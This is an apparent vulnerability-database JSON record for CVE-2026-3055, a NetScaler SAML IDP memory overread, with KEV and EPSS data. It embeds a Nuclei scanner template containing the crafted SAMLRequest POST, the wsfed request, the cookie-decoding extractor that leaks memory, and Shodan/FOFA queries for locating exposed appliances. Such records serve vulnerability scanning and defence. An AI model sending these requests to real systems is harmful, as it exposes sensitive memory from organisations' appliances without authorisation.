{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-3055/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-3055/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-3055/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-3055/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-3055/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-3055"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-3055"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.87166,
      "kev": true,
      "percentile": 0.99742
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-3055.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2026-3055\n\ninfo:\n  name: Citrix NetScaler SAML IDP - Memory Overread\n  author: watchtowr,shaikhyaser,DhiyaneshDk\n  severity: critical\n  description: |\n    NetScaler ADC and NetScaler Gateway contain an insufficient input validation vulnerability when configured as a SAML IDP, leading to memory overread, letting attackers potentially access sensitive memory, exploit requires configuration as SAML IDP\n  impact: |\n    Attackers can cause memory overread, potentially exposing sensitive information or causing application instability.\n  remediation: Update to the latest version with the fix for this vulnerability.\n  reference:\n    - https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696300\n    - https://labs.watchtowr.com/the-sequels-are-never-as-good-but-were-still-in-pain-citrix-netscaler-cve-2026-3055-memory-overread/\n    - https://labs.watchtowr.com/please-we-beg-just-one-weekend-free-of-appliances-citrix-netscaler-cve-2026-3055-memory-overread-part-2/\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query:\n      - title:\"NetScaler Gateway\"\n      - title:\"NetScaler AAA\"\n      - http.favicon.hash:-1166125415\n      - http.favicon.hash:-1292923998\n    fofa-query:\n      - title=\"NetScaler Gateway\"\n      - title=\"NetScaler AAA\"\n      - icon_hash=\"-1166125415\"\n      - icon_hash=\"-1292923998\"\n  tags: cve,cve2026,netscaler,citrix,exposure,kev,vkev,vuln\n\nflow: http(1) || http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /saml/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Accept-Encoding: gzip\n\n        SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiANCnhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iICANCklEPSJfMSINClZlcnNpb249IjIuMCIgUHJvdmlkZXJOYW1lPSJteSBwcm92aWRlciIgDQpEZXN0aW5hdGlvbj0iaHR0cDovL3dhdGNodG93ci9zYW1sLnBocCIgDQpQcm90b2NvbEJpbmRpbmc9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpiaW5kaW5nczpIVFRQLVBPU1QiIA0KPg0KICA8c2FtbDpJc3N1ZXI%2BaHR0cDovL3dhdGNodG93ci9zYW1sLnBocDwvc2FtbDpJc3N1ZXI%2BDQo8L3NhbWxwOkF1dGhuUmVxdWVzdD4%3D\n\n      - |\n        GET /wsfed/passive?wctx HTTP/1.1\n        Host: {{Hostname}}\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - regex('(?i)NSC_TASS=[A-Za-z0-9+/]+=*', set_cookie)\n          - 'status_code == 302'\n          - 'contains(base64_decode(nsc_tass), \"wctx=\")'\n          - '!contains(body, \"Parsing of presented Assertion failed\")'\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - base64_decode(nsc_tass)\n# digest: 4a0a004730450220406d2dccc32a82831ddc8dfdec81d513c70d55da7324594a5ead9cdcf01a770102210086e0c3ca49f0abb8959e67730de028261f4ef59e17332d52ac062fc0e84d5a40:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-3055"
}